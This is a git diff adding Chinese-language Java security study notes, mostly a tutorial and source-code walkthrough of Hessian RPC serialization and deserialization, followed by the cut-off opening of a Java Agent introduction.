+ } + + @Bean(name = "/helloService") + public HessianServiceExporter hessianServiceExporter() { + HessianServiceExporter exporter = new HessianServiceExporter(); + exporter.setService(helloService); + exporter.setServiceInterface(HelloService.class); + return exporter; + } +} +``` + +###### 5\. 配置 Web 启动类 + +使用 `WebApplicationInitializer` 配置 `DispatcherServlet` 并加载 Spring 配置类: + +``` +import org.springframework.web.context.support.AnnotationConfigWebApplicationContext; +import org.springframework.web.servlet.DispatcherServlet; + +import javax.servlet.ServletContext; +import javax.servlet.ServletException; +import javax.servlet.ServletRegistration; +import org.springframework.web.WebApplicationInitializer; + +public class HessianServerInitializer implements WebApplicationInitializer { + + @Override + public void onStartup(ServletContext servletContext) throws ServletException { + // 初始化 Spring Web 上下文 + AnnotationConfigWebApplicationContext context = new AnnotationConfigWebApplicationContext(); + context.register(HessianServerConfig.class); + + // 注册 DispatcherServlet + ServletRegistration.Dynamic dispatcher = servletContext.addServlet("dispatcher", new DispatcherServlet(context)); + dispatcher.setLoadOnStartup(1); + dispatcher.addMapping("/"); + } +} +``` + +###### 6\. 部署服务端项目 + +将服务端项目打包并部署到外部的 Tomcat 或其他 Servlet 容器中。 + +- 将项目打包为 `.war` 文件(如 `hessian-server.war`),并放置到 Tomcat 的 `webapps` 目录中。 +- 启动 Tomcat,确认服务在 `/helloService` 路径下成功暴露。 + +* * * + +#### 客户端项目 + +###### 1\. 定义服务接口 + +在客户端项目中,定义与服务端相同的接口 `HelloService`,以便客户端能识别远程接口: + +``` +public interface HelloService { + String sayHello(String name); +} +``` + +###### 2\. 创建 Spring 配置类 + +在客户端项目中创建 `HessianClientConfig` 配置类,使用 `HessianProxyFactoryBean` 配置远程服务接口: + +``` +import org.springframework.context.annotation.Bean; +import org.springframework.context.annotation.Configuration; +import org.springframework.remoting.caucho.HessianProxyFactoryBean; + +@Configuration +public class HessianClientConfig { + + @Bean + public HessianProxyFactoryBean helloService() { + HessianProxyFactoryBean factory = new HessianProxyFactoryBean(); + factory.setServiceUrl("http://localhost:8080/SpringWebBase_war/helloService"); // 根据实际服务地址调整 + factory.setServiceInterface(HelloService.class); + return factory; + } +} +``` + +###### 3\. 创建客户端启动类 + +在客户端项目中编写主类,通过 `AnnotationConfigApplicationContext` 启动 Spring 上下文,并调用远程服务: + +``` +import org.springframework.context.ApplicationContext; +import org.springframework.context.annotation.AnnotationConfigApplicationContext; +import pojo.HelloService; + +public class HessianClientApplication { + + public static void main(String[] args) { + // 初始化 Spring 上下文 + ApplicationContext context = new AnnotationConfigApplicationContext(HessianClientConfig.class); + + // 获取并调用远程服务 + HelloService helloService = context.getBean(HelloService.class); + String response = helloService.sayHello("World"); + System.out.println(response); + } +} +``` + +* * * + +#### 运行并测试 + +1. **启动服务端**:将服务端项目部署在 Tomcat 或其他支持 Servlet 的容器中。 +2. **启动客户端**:运行 `HessianClientApplication` 主类。应该会在控制台上看到从远程服务返回的消息。 + +这样,就完成了 Hessian 在 Spring 项目中的集成,实现了一个完整的 RPC 调用系统。 + +![](/images/image-20241106100115715.png) + +同样的,也可以选择用 SpringBoot 方式启动,其他代码不变,只更改启动类即可。 + +### 自封装调用 + +我们可以通过直接使用 `HessianInput`、`HessianOutput` 及其变体(如 `Hessian2Input` 和 `Hessian2Output`)来实现 Hessian 的序列化和反序列化,从而自定义数据的传输或存储逻辑。 + +#### Hessian + +创建一个 `HessianSerializer` 工具类,提供 `serialize` 和 `deserialize` 方法,利用 `HessianOutput` 和 `HessianInput` 来完成序列化和反序列化: + +``` +import com.caucho.hessian.io.HessianInput; +import com.caucho.hessian.io.HessianOutput; + +import java.io.ByteArrayInputStream; +import java.io.ByteArrayOutputStream; +import java.io.IOException; + +public class HessianSerializer { + + /** + * 将对象序列化为字节数组 + * + * @param object 要序列化的对象 + * @return 序列化后的字节数组 + * @throws IOException 如果序列化失败 + */ + public static byte[] serialize(Object object) throws IOException { + try (ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream()) { + HessianOutput hessianOutput = new HessianOutput(byteArrayOutputStream); + hessianOutput.writeObject(object); + return byteArrayOutputStream.toByteArray(); + } + } + + /** + * 将字节数组反序列化为对象 + * + * @param data 字节数组 + * @return 反序列化后的对象 + * @throws IOException 如果反序列化失败 + */ + public static Object deserialize(byte[] data) throws IOException { + try (ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(data)) { + HessianInput hessianInput = new HessianInput(byteArrayInputStream); + return hessianInput.readObject(); + } + } +} +``` + +从中可以看出这个 HessianInput/HessianOutput 在这种情况下可以替代 ObjectInputStream/ObjectOutputStream。 + +然后我们来定义一个类,用于序列化和反序列化: + +``` +import java.io.Serializable; + +public class User implements Serializable { + private String name; + private int age; + + // Constructors, Getters, and Setters + + public User(String name, int age) { + this.name = name; + this.age = age; + } + + public String getName() { + return name; + } + + public void setName(String name) { + this.name = name; + } + + public int getAge() { + return age; + } + + public void setAge(int age) { + this.age = age; + } + + @Override + public String toString() { + return "User{name='" + name + "', age=" + age + '}'; + } +} +``` + +最后是一个主类,调用 HessianSerializer 中的方法,实现序列化和反序列化: + +``` +import java.io.IOException; +import java.util.Arrays; + +public class Main { + + public static void main(String[] args) { + try { + // 创建一个 User 对象 + User user = new User("Alice", 30); + + // 将 User 对象序列化为字节数组 + byte[] serializedData = HessianSerializer.serialize(user); + System.out.println("Serialized data: " + serializedData); + + // 以 Arrays.toString() 的方式输出字节数组内容 + System.out.println("Serialized data (byte array): " + Arrays.toString(serializedData)); + + // 将字节数组反序列化为 User 对象 + User deserializedUser = (User) HessianSerializer.deserialize(serializedData); + System.out.println("Deserialized User: " + deserializedUser); + + } catch (IOException e) { + e.printStackTrace(); + } + } +} +``` + +运行结果: + +![](/images/image-20241106103716595.png) + +除了 `HessianInput` 和 `HessianOutput`,Hessian 还提供了 `Hessian2Input` 和 `Hessian2Output`,以及 Burlap(XML 序列化)方式。 + +#### Hessian2 + +同样的来实现一个序列化和反序列化工具类,将 `HessianOutput` 替换为 `Hessian2Output`,`HessianInput` 替换为 `Hessian2Input` 即可: + +``` +import com.caucho.hessian.io.Hessian2Input; +import com.caucho.hessian.io.Hessian2Output; + +import java.io.ByteArrayInputStream; +import java.io.ByteArrayOutputStream; +import java.io.IOException; + +public class Hessian2Serializer { + + public static byte[] serialize(Object object) throws IOException { + try (ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream()) { + Hessian2Output hessian2Output = new Hessian2Output(byteArrayOutputStream); + hessian2Output.writeObject(object); + hessian2Output.close(); + return byteArrayOutputStream.toByteArray(); + } + } + + public static Object deserialize(byte[] data) throws IOException { + try (ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(data)) { + Hessian2Input hessian2Input = new Hessian2Input(byteArrayInputStream); + return hessian2Input.readObject(); + } + } +} +``` + +结果: + +![](/images/image-20241106104021790.png) + +依然可以成功的序列化和反序列化,只不过序列化数据不一样。 + +#### Burlap + +Burlap 是 Hessian 的一种 XML 格式,可以用于跨语言环境的兼容性。它序列化后的数据是 xml 格式,所以我们用流的 toString 方法来获取序列化数据的字符串格式。 + +实现一个序列化和反序列化工具类: + +``` +import java.io.ByteArrayInputStream; +import java.io.ByteArrayOutputStream; +import java.io.IOException; +import java.nio.charset.StandardCharsets; + +import com.caucho.burlap.io.BurlapInput; +import com.caucho.burlap.io.BurlapOutput; + +public class BurlapSerializer { + + public static String serializeToXmlString(Object object) throws IOException { + try (ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream()) { + BurlapOutput burlapOutput = new BurlapOutput(byteArrayOutputStream); + burlapOutput.writeObject(object); + burlapOutput.flush(); + + // 将字节数组转换为字符串 + return byteArrayOutputStream.toString(String.valueOf(StandardCharsets.UTF_8)); + } + } + + public static Object deserializeFromXmlString(String xmlData) throws IOException { + try (ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(xmlData.getBytes(StandardCharsets.UTF_8))) { + BurlapInput burlapInput = new BurlapInput(byteArrayInputStream); + return burlapInput.readObject(); + } + } +} +``` + +测试主类: + +``` +import java.io.IOException; + +public class Main { + + public static void main(String[] args) { + try { + // 创建一个 User 对象 + User user = new User("Alice", 30); + + // 将 User 对象序列化为 XML 字符串 + String xmlData = BurlapSerializer.serializeToXmlString(user); + System.out.println("Serialized XML data:\n" + xmlData); + + // 将 XML 字符串反序列化为 User 对象 + User deserializedUser = (User) BurlapSerializer.deserializeFromXmlString(xmlData); + System.out.println("Deserialized User: " + deserializedUser); + + } catch (IOException e) { + e.printStackTrace(); + } + } +} +``` + +结果: + +![](/images/image-20241106105255460.png) + +可以看到序列化后的结果是 xml 格式。 + +### 配置为 JNDI 资源 + +还有其他的一些调用方式比如通过 web 服务器(例如 Tomcat )自带的配置功能用 JNDI 的方式获取 hessian 服务,这里就不做详细介绍了,可以参考:[Tomcat - JNDI 资源使用方法](https://tomcat.apache.org/tomcat-9.0-doc/jndi-resources-howto.html#web.xml_configuration) 。 + +在 HessianProxyFactory 的说明文档中也给出了在 Resin 服务器下配置为 JNDI 资源的示例: + +![](/images/image-20241114140333798.png) + +这里就不再演示了。 + +## Hessian 源码解析 + +简单的分析一下 Hessian 服务的源码,版本为 4.0.66 。 + +### HessianServlet 解析 + +com.caucho.hessian.server.HessianServlet 是在 Servlet 项目中用到的类,下面来分析一下。 + +HessianServlet 继承了 HttpServlet ,却没有重写 doGet 与 doPost 方法,而是 service 方法在发挥作用。init 方法用于初始化。 + +init 方法主要是初始化 HessianServlet 的各成员变量: +![](https://changeyourway.github.io/images/image-20241111094058638.png) + +我们注意到这里其实有两套相似的成员变量,分别是: + +`_homeAPI`、`_homeImpl` 和 `_homeSkeleton` + +以及 + +`_objectAPI`、`_objectImpl` 和 `_objectSkeleton` + +事实上,它们各自代表了一组与服务端对象相关的接口、实现类和骨架类。这样设计的意义在于为 Hessian 服务支持两种不同类型的远程调用场景,在某些情况下,Hessian 服务可能既需要一个主接口(`_homeAPI`),也需要一个附加接口(`_objectAPI`)来扩展主服务的功能。 + +通过定义两组接口和实现类,HessianServlet 既可以为主服务(`_home`)提供基本功能,又可以通过附加服务(`_object`)扩展服务接口。同时,它确保了每个接口都有专门的骨架类(`Skeleton`)来处理特定类型的请求,从而使 Hessian 能够灵活地应对复杂的远程调用需求。 + +``` +public void init(ServletConfig config) + throws ServletException +{ + super.init(config); + + try { + // 初始化 _homeImpl + if (_homeImpl != null) { + } + else if (getInitParameter("home-class") != null) { + String className = getInitParameter("home-class"); + + Class homeClass = loadClass(className); + + _homeImpl = homeClass.newInstance(); + + init(_homeImpl); + } + else if (getInitParameter("service-class") != null) { + String className = getInitParameter("service-class"); + + Class homeClass = loadClass(className); + + _homeImpl = homeClass.newInstance(); + + init(_homeImpl); + } + else { + if (getClass().equals(HessianServlet.class)) + throw new ServletException("server must extend HessianServlet"); + + _homeImpl = this; + } + + // 初始化 _homeAPI + if (_homeAPI != null) { + } + else if (getInitParameter("home-api") != null) { + String className = getInitParameter("home-api"); + + _homeAPI = loadClass(className); + } + else if (getInitParameter("api-class") != null) { + String className = getInitParameter("api-class"); + + _homeAPI = loadClass(className); + } + else if (_homeImpl != null) { + _homeAPI = findRemoteAPI(_homeImpl.getClass()); + + if (_homeAPI == null) + _homeAPI = _homeImpl.getClass(); + + _homeAPI = _homeImpl.getClass(); + } + + // 初始化 _objectImpl + if (_objectImpl != null) { + } + else if (getInitParameter("object-class") != null) { + String className = getInitParameter("object-class"); + + Class objectClass = loadClass(className); + + _objectImpl = objectClass.newInstance(); + + init(_objectImpl); + } + // 初始化 _objectAPI + if (_objectAPI != null) { + } + else if (getInitParameter("object-api") != null) { + String className = getInitParameter("object-api"); + + _objectAPI = loadClass(className); + } + else if (_objectImpl != null) + _objectAPI = _objectImpl.getClass(); + + // 初始化 _homeSkeleton + _homeSkeleton = new HessianSkeleton(_homeImpl, _homeAPI); + + if (_objectAPI != null) + _homeSkeleton.setObjectClass(_objectAPI); + + // 初始化 _objectSkeleton + if (_objectImpl != null) { + _objectSkeleton = new HessianSkeleton(_objectImpl, _objectAPI); + _objectSkeleton.setHomeClass(_homeAPI); + } + else + _objectSkeleton = _homeSkeleton; + + if ("true".equals(getInitParameter("debug"))) { + } + + if ("false".equals(getInitParameter("send-collection-type"))) + setSendCollectionType(false); + } catch (ServletException e) { + throw e; + } catch (Exception e) { + throw new ServletException(e); + } +} +``` + +这里使用了 HessianServlet 自定义的 loadClass 和 getContextClassLoader 方法,从当前线程中获取类加载器: +![](https://changeyourway.github.io/images/image-20241111094727197.png) + +如 su18 师傅所说,主要是有两个原因: + +1. **保证类加载的一致性**: 在一些复杂环境下,尤其是应用服务器或容器中,系统可能会引入自定义的类加载器来对类进行重新加载、隔离或增强。比如在微服务、插件式架构或其他需要动态加载的场景中,用户的类可能会被不同的类加载器重新加载,造成类不一致的问题。这种自定义的 `loadClass` 方法通过指定类加载器的来源,确保加载到的是期望的类,而不是可能被“魔改”的类。 + +2. **利用线程上下文的类加载器快速定位用户的类**: 在 Java 应用中,通常可以通过 `Thread.currentThread().getContextClassLoader()` 来获取当前线程的上下文类加载器(通常是 `AppClassLoader`),这是加载用户类的默认类加载器。相比直接使用 `SystemClassLoader`,这种方式会更快速地找到当前应用需要的类。由于 `AppClassLoader` 通常直接与用户代码绑定,这种方法保证了 `HessianServlet` 能快速、准确地访问到应用中定义的类,而不必依赖于更高层次的类加载器(如 `BootStrapClassLoader` 或 `ExtClassLoader`),从而减少不必要的加载和可能的冲突。 + + +这种设计可以让 HessianServlet 在不同的类加载器环境中工作时更稳定,同时更高效地访问应用的自定义类。 + +接下来是 HessianServlet 的 service 方法: + +![](https://changeyourway.github.io/images/image-20241111095814183.png) + +可以看到,如果请求方式不是 POST ,直接返回 500 状态码,也就是说这边只能用 POST 方式来请求服务。在获取了 objectId 和 serializerFactory 之后,实际调用 invoke 方法来进行处理。 + +HessianServlet 的 invoke 方法根据 objectId 的不同,选择调用其成员属性 \_objectSkeleton 还是 \_homeSkeleton 来处理: + +![](https://changeyourway.github.io/images/image-20241111100531570.png) + +而这两者都是 HessianSkeleton 类型,所以接下来毫无疑问会进入 HessianSkeleton 的 invoke 方法。Skeleton 一般表示服务端用于处理客户端请求的“骨架”。 + +### HessianSkeleton 解析 + +HessianSkeleton 初始化时先调用父类 AbstractSkeleton 的初始化方法,然后将当前提供远程服务的 Servlet 类封装到成员变量 \_service 中: + +![](https://changeyourway.github.io/images/image-20241111104527959.png) ![](https://changeyourway.github.io/images/image-20241111104553015.png) + +而其父类 AbstractSkeleton 初始化时则会将当前提供服务的 Servlet 类的所有方法和参数放进成员变量 \_methodMap 中: + +![](https://changeyourway.github.io/images/image-20241111105152079.png) + +调试起来可以知道这里的 apiClass 就是 GreetingServiceServlet : + +![](https://changeyourway.github.io/images/image-20241111105117568.png) + +接着来看 HessianSkeleton 的 invoke 方法,HessianServlet 最终是调用到 HessianSkeleton 的 invoke(InputStream, OutputStream, SerializerFactory) 方法: + +![](https://changeyourway.github.io/images/image-20241111105705482.png) + +这个方法主要是根据 header 字段的不同,通过不同的方式获取到序列化与反序列化字节流,并最终调用 `invoke(Object, AbstractHessianInput, AbstractHessianOutput)` 来处理。从处理方式也可以看出是兼容了 hessian 1.0 和 hessian 2.0 。 + +invoke(Object, AbstractHessianInput, AbstractHessianOutput) 方法则是将参数反序列化,进行远程方法的调用并将结果写入序列化字节流: + +``` +public void invoke(Object service, + AbstractHessianInput in, + AbstractHessianOutput out) + throws Exception +{ + ServiceContext context = ServiceContext.getContext(); + + // backward compatibility for some frameworks that don't read + // the call type first + in.skipOptionalCall(); + + // Hessian 1.0 backward compatibility + // Hessian 1.0 向后兼容性处理,循环读取客户端传递的请求头信息并存储在 ServiceContext 中。 + String header; + while ((header = in.readHeader()) != null) { + Object value = in.readObject(); + + context.addHeader(header, value); + } + + // 读取客户端请求的远程方法名 methodName 和参数个数 argLength + String methodName = in.readMethod(); + int argLength = in.readMethodArgLength(); + + Method method; + + // 尝试根据方法名和参数数量组合(如 methodName__argLength)查找对应的方法 + method = getMethod(methodName + "__" + argLength); + // 如果没有找到,则仅使用方法名进行查找,以便兼容不同参数的重载方法。 + if (method == null) + method = getMethod(methodName); + + if (method != null) { + } + // 如果请求的方法名为 _hessian_getAttribute,则认为这是一个特殊的系统调用, + // 用于获取服务的特定属性(如 java.api.class、java.home.class 等),返回相应的属性值。 + else if ("_hessian_getAttribute".equals(methodName)) { + String attrName = in.readString(); + in.completeCall(); + + String value = null; + + if ("java.api.class".equals(attrName)) + value = getAPIClassName(); + else if ("java.home.class".equals(attrName)) + value = getHomeClassName(); + else if ("java.object.class".equals(attrName)) + value = getObjectClassName(); + + out.writeReply(value); + out.close(); + return; + } + else if (method == null) { + out.writeFault("NoSuchMethodException", + escapeMessage("The service has no method named: " + in.getMethod()), + null); + out.close(); + return; + } + + Class []args = method.getParameterTypes(); + + if (argLength != args.length && argLength >= 0) { + out.writeFault("NoSuchMethod", + escapeMessage("method " + method + " argument length mismatch, received length=" + argLength), + null); + out.close(); + return; + } + + Object []values = new Object[args.length]; + + // 将参数值反序列化保存在 values 数组中。 + for (int i = 0; i < args.length; i++) { + // XXX: needs Marshal object + values[i] = in.readObject(args[i]); + } + + Object result = null; + + try { + // 方法调用 + result = method.invoke(service, values); + } catch (Exception e) { + Throwable e1 = e; + if (e1 instanceof InvocationTargetException) + e1 = ((InvocationTargetException) e).getTargetException(); + + log.log(Level.FINE, this + " " + e1.toString(), e1); + + out.writeFault("ServiceException", + escapeMessage(e1.getMessage()), + e1); + out.close(); + return; + } + + // The complete call needs to be after the invoke to handle a + // trailing InputStream + in.completeCall(); + + // 结果写入序列化字节流 + out.writeReply(result); + + out.close(); +} +``` + +### HessianServiceExporter 解析 + +org.springframework.remoting.caucho.HessianServiceExporter 是在 Spring 项目中用来提供 hessian 服务的关键类,下面来看它的源码。 + +HessianServiceExporter 实现了 HttpRequestHandler 接口,重写了 handleRequest 方法: + +![](https://changeyourway.github.io/images/image-20241111134750780.png) + +这边也是一样只能用 POST 方式请求。然后将请求和响应的字节流传入父类的 invoke 方法进行处理。 + +父类 HessianExporter 的 invoke 方法也是直接调用 doInvoke : + +![](https://changeyourway.github.io/images/image-20241111134946571.png) + +HessianExporter 的 doInvoke 方法流程其实跟 HessianSkeleton 的 invoke(InputStream, OutputStream, SerializerFactory) 方法差不多,最后调用到 HessianSkeleton 的 invoke(AbstractHessianInput, AbstractHessianOutput) 方法: + +![](https://changeyourway.github.io/images/image-20241111135754296.png) + +后续就是调 HessianSkeleton 的 invoke(Object, AbstractHessianInput, AbstractHessianOutput) 方法,前面已经分析过了。 + +### 序列化与反序列化解析 + +Hessian 提供了 AbstractHessianInput/AbstractHessianOutput 两个接口来实现序列化和反序列化功能。Hessian/Hessian2/Burlap 都有各自的实现逻辑。 + +#### 序列化 + +先来看序列化,AbstractHessianOutput 提供了一系列 writeXxx 方法来将不同类型的数据序列化: + +![](https://changeyourway.github.io/images/image-20241111142119754.png) + +以其实现类 Hessian2Output 为例,writeObject 方法实现了将对象序列化的功能: + +![](https://changeyourway.github.io/images/image-20241111142613240.png) + +这里是先根据对象的类型获取了一个序列化器 Serializer ,然后调用其 writeObject 方法。 + +查看 com.caucho.hessian.io.Serializer 的继承关系可知,一共有这么些序列化器用来处理不同类型的数据: + +![](https://changeyourway.github.io/images/image-20241111143915414.png) + +不过对于自定义的类,将会使用 JavaSerializer/UnsafeSerializer/JavaUnsharedSerializer 进行相关的序列化动作,默认情况下是 UnsafeSerializer : + +![](https://changeyourway.github.io/images/image-20241111150124292.png) + +既然默认调用到的是 UnsafeSerializer 的 writeObject 方法,我们就来关注一下它: + +``` +@Override +public void writeObject(Object obj, AbstractHessianOutput out) throws IOException { + // 检查是否已经序列化过该对象 + if (out.addRef(obj)) { // 如果已序列化过则直接写引用(避免重复序列化相同对象) + return; + } + + // 获取对象的类信息 + Class cl = obj.getClass(); + + // 写入对象的初始定义并获取引用 + int ref = out.writeObjectBegin(cl.getName()); + + // 根据 Hessian 协议版本做不同处理 + if (ref >= 0) { + // 如果 ref >= 0,表示该对象已经写入过结构定义,仅需要写入实例 + writeInstance(obj, out); + } else if (ref == -1) { + // 如果 ref == -1,表示是 Hessian 2.0 的初次定义,需写入对象的结构定义 + writeDefinition20(out); // 定义对象结构(字段名和类型) + out.writeObjectBegin(cl.getName()); // 再次标记对象起始 + writeInstance(obj, out); // 写入实例字段值 + } else { + // 如果 ref < 0,表示使用 Hessian 1.0 协议格式进行序列化 + writeObject10(obj, out); // 使用 Hessian 1.0 写入完整对象数据 + } +} +``` + +Hessian2Output 是调用 writeObjectBegin 将对象标记为 Object 类型,也即在开头写入 Object 标识符,并最终调用 writeInstance 来处理。而在 Hessian 1.0 和 Burlap 中,写入自定义数据类型(Object)时,都会调用 writeMapBegin 方法将其标记为 Map 类型,也即在开头写入 Map 标识符。从序列化的差异也能猜出反序列化的不同。 + +UnsafeSerializer 的 writeInstance 方法则是遍历其成员属性 \_fieldSerializers 中的每一个序列化器,都调用其 serialize 方法处理一遍: + +![](https://changeyourway.github.io/images/image-20241111153534047.png) + +成员属性 \_fieldSerializers 中的序列化器则可以是其内部定义的任何序列化器: +![](https://changeyourway.github.io/images/image-20241111154018739.png) + +那么 \_fieldSerializers 是如何赋值的呢? + +构造方法 -> introspect(Class cl) -> getFieldSerializer(Field field) 根据不同的字段类型获取不同的内部 Serializer 。 + +字段类型从哪来? + +字段类型来自于类的属性类型,比如一个序列化的类有 String 和 int 两种类型的属性,那么就会获取到 StringFieldSerializer 和 IntFieldSerializer 两种序列化器。 + +![](https://changeyourway.github.io/images/image-20241111155404664.png) + +而在序列化器中,对于基本类型的属性的序列化,事实上最终还是调用到 Hessian2Output 的 writeXxx : + +![](https://changeyourway.github.io/images/image-20241111155832988.png) + +对于对象的序列化,最终调用 Hessian2Output 的 writeObject ,又是一个新的轮回,再次解构字段的字段。 + +AbstractHessianOutput 其实提供了 writeObjectBegin 方法,只不过里面是直接调用 writeMapBegin : + +![](https://changeyourway.github.io/images/image-20241112093518661.png) + +Hessian2Output 重写了此 writeObjectBegin 方法,给出了具体的实现。而在 hessian 1.0 版本中,HessianOutput 并没有重写此方法,所以当 UnsafeSerializer 的 writeObject 方法调用 HessianOutput 的 writeObjectBegin 方法时,实际上是调用 writeMapBegin 写入 Map 标识符。 + +#### 反序列化 + +反序列化的关键方法是 AbstractHessianInput#readObject() ,我们主要关注其实现类 Hessian2Input 的 readObject() 方法: + +![](https://changeyourway.github.io/images/image-20241112094932794.png) + +先从流中读取第一个字符,根据不同的首字符调用不同的处理逻辑。比如第一个字符是 C ,则进入对象的处理逻辑: +![](https://changeyourway.github.io/images/image-20241112100627079.png) + +再一次进入 readObject ,根据运算得到 tag 为 96 ,进入下面的处理逻辑: + +![](https://changeyourway.github.io/images/image-20241112100824184.png) + +于是接着调用 readObjectInstance 方法,从流中获取类型和字段: + +![](https://changeyourway.github.io/images/image-20241112101157737.png) + +接着调用 readObject(AbstractHessianInput, Object\[\]) 方法,实例化该对象: + +![](https://changeyourway.github.io/images/image-20241112101507726.png) + +instantiate() 中使用 \_unsafe 直接创建类实例: + +![](https://changeyourway.github.io/images/image-20241112101603733.png) + +最后调用 readObject(AbstractHessianInput, Object, FieldDeserializer2\[\]) 反序列化字段值: + +![](https://changeyourway.github.io/images/image-20241112101700816.png) + +这里面实际上也是用 unsafe 写入字段值: + +![](https://changeyourway.github.io/images/image-20241112101753969.png) + +至此,Hessian2Input 的反序列化就完成了。 + +那么 HessianInput 跟它的差异在哪里呢? + +前面提到,对于自定义对象,HessianOutput 会调用 writeMapBegin 写入 Map 标识符。所以反序列化时读到的第一个字符也是 Map 标识。实际上 HessianInput 是调用 readMap 来处理的,也就是说 hessian 1.0 把对象看作 Map 集合来序列化和反序列化: + +![](https://changeyourway.github.io/images/image-20241112102632257.png) + +而 SerializerFactory#readMap(AbstractHessianInput, String) 也是直接调到 UnsafeDeserializer#readMap(AbstractHessianInput): + +![](https://changeyourway.github.io/images/image-20241112102821104.png) + +UnsafeDeserializer#readMap(AbstractHessianInput) 实际上跟前面相似,先用 unsafe 创建对象,再调用 readMap(AbstractHessianInput, Object) 通过 unsafe 注入字段值: + +![](https://changeyourway.github.io/images/image-20241112103058339.png) + +readMap(AbstractHessianInput, Object) 从流中获取 key(即字段名) ,从 \_fieldMap 中根据 key 获取 value(即字段值),然后通过 unsafe 将值注入: + +![](https://changeyourway.github.io/images/image-20241112104844519.png) + +这就是 hessain 1.0 的反序列化流程。 + +### 远程调用过程解析 + +就以 Servlet 方式为例,我们来分析一下客户端的远程调用逻辑,客户端代码如下: + +``` +import com.caucho.hessian.client.HessianProxyFactory; + +public class HessianClient { + public static void main(String[] args) { + String url = "http://localhost:8080/ServletBase_war/greeting"; // 替换为实际服务地址 + HessianProxyFactory factory = new HessianProxyFactory(); + try { + GreetingService service = (GreetingService) factory.create(GreetingService.class, url); + String result = service.sayHello("World"); + System.out.println(result); // 输出: Hello, World! + } catch (Exception e) { + e.printStackTrace(); + } + } +} +``` + +这里关键的类是 HessianProxyFactory ,我们用它的 create 方法就获取到了远程对象。 + +经过一系列重构方法的调用,最终是调用到 create(Class, URL, ClassLoader) 方法,可以看到是利用 HessianProxy 创建了一个代理对象并返回: + +![](https://changeyourway.github.io/images/image-20241112113048224.png) + +那么这个代理对象的任意方法被调用都会触发 HessianProxy 的 invoke 方法。 + +在客户端代码中,接下来就会调用这个代理对象的方法,所以 invoke 方法一定会被触发,我们来关注一下 HessianProxy 的 invoke 方法,只需要关注几个重点就可以了。 + +主要是调用 sendRequest 发送请求,然后接收响应并反序列化字节流: + +![](https://changeyourway.github.io/images/image-20241112114455239.png) + +而 sendRequest 方法中主要是调用 call 方法将参数序列化写入字节流,最后调用 conn.sendRequest() 将请求发送至服务器: + +![](https://changeyourway.github.io/images/image-20241112115009089.png) + +call 方法: + +![](https://changeyourway.github.io/images/image-20241112115040424.png) + +大致的过程就是这样。 + +服务端的处理逻辑就是调用 HessianServlet 的 service 方法来处理请求 ,前面已经分析过了。 + +### 调用栈总结 + +Servlet Hessian 客户端调用栈: + +``` +-> HessianProxyFactory#create(Class, String) + HessianProxyFactory#create(Class, String, ClassLoader) + HessianProxyFactory#create(Class, URL, ClassLoader) # 返回代理对象 +-> HessianProxy#invoke(Object, Method, Object[]) # 建立连接,发送请求并接收响应 + HessianProxy#sendRequest(String, Object[]) + -> HessianOutput#call(String, Object[]) # 参数序列化 + -> HessianURLConnection#sendRequest() # 向服务端发送请求 +``` + +Servlet Hessian 服务端调用栈: + +``` +HessianServlet#service(ServletRequest, ServletResponse) +HessianServlet#invoke(InputStream, OutputStream, String, SerializerFactory) +HessianSkeleton#invoke(InputStream, OutputStream, SerializerFactory) +HessianSkeleton#invoke(Object, AbstractHessianInput, AbstractHessianOutput) # 参数反序列化,方法执行,结果返回 +``` + +Spring Hessian 服务端调用栈: + +``` +HessianServiceExporter#handleRequest(HttpServletRequest, HttpServletResponse) +HessianExporter#invoke(InputStream, OutputStream) +HessianExporter#doInvoke(HessianSkeleton, InputStream, OutputStream) +HessianSkeleton#invoke(AbstractHessianInput, AbstractHessianOutput) +HessianSkeleton#invoke(Object, AbstractHessianInput, AbstractHessianOutput) # 参数反序列化,方法执行,结果返回 +``` + +Hessian2Output 序列化调用栈: + +``` +Hessian2Output#writeObject(Object) +UnsafeSerializer#writeObject(Object, AbstractHessianOutput) +-> Hessian2Output#writeObjectBegin(String) # 开头写入对象标识符 +-> UnsafeSerializer#writeInstance(Object, AbstractHessianOutput) # 序列化字段值 +``` + +Hessian2Output 反序列化调用栈: + +``` +Hessian2Input#readObject() +Hessian2Input#readObject() # 再次调用 +Hessian2Input#readObjectInstance(Class, ObjectDefinition) +UnsafeDeserializer#readObject(AbstractHessianInput, Object[]) +-> UnsafeDeserializer#instantiate() # 使用 unsafe 创建类实例 +-> UnsafeDeserializer#readObject(AbstractHessianInput, Object, FieldDeserializer2[]) + FieldDeserializer2FactoryUnsafe$XxxFieldDeserializer#deserialize(AbstractHessianInput, Object) # 使用 unsafe 写入字段值 +``` + +## 参考文章 + +[su18 - Hessian 反序列化漏洞](https://www.javasec.org/java-vuls/Hessian.html) + +[Tomcat - JNDI 资源使用方法](https://tomcat.apache.org/tomcat-9.0-doc/jndi-resources-howto.html#web.xml_configuration) diff --git a/books/基础篇 - Java Agent 详解.md b/books/基础篇 - Java Agent 详解.md new file mode 100644 index 0000000..05ca322 --- /dev/null +++ b/books/基础篇 - Java Agent 详解.md @@ -0,0 +1,396 @@ +# 基础篇 - Java Agent 详解 +> 2024-10-23 +> 来源:https://changeyourway.github.io/2024/10/23/Java%20%E5%AE%89%E5%85%A8/%E5%9F%BA%E7%A1%80%E7%AF%87-JavaAgent%E8%AF%A6%E8%A7%A3/ + +## Java Agent 介绍 + +Java Agent 是一种允许开发者在 JVM 运行时通过修改类的字节码来动态增强 Java 应用程序的工具。它基于 `Instrumentation` 接口,可以使用 `ClassFileTransformer` 来拦截和修改字节码。在 Java Agent 中,`Instrumentation.addTransformer()` 可以用来添加一个字节码转换器,它将在类加载时对字节码进行操作。 + +我们平时接触到的很多地方都用到了这个 Java Agent : + +- 各个 Java IDE 的调试功能,例如 eclipse、IntelliJ IDEA; +- 热部署功能,例如 JRebel、XRebel、 spring-loaded; +- 各种线上诊断工具,例如 Btrace、Greys,还有阿里的 Arthas; +- 各种性能分析工具,例如 Visual VM、JConsole 等; + +Java Agent 最终以 jar 包的形式存在,我们也只能以调用 jar 包的方式去调用它。 + +## Java Agent 快速入门 + +接下来就来实现一个简单的 Java Agent,基于 Java 1.8,主要实现两点简单的功能: + +  1、打印当前加载的所有类的名称; + +  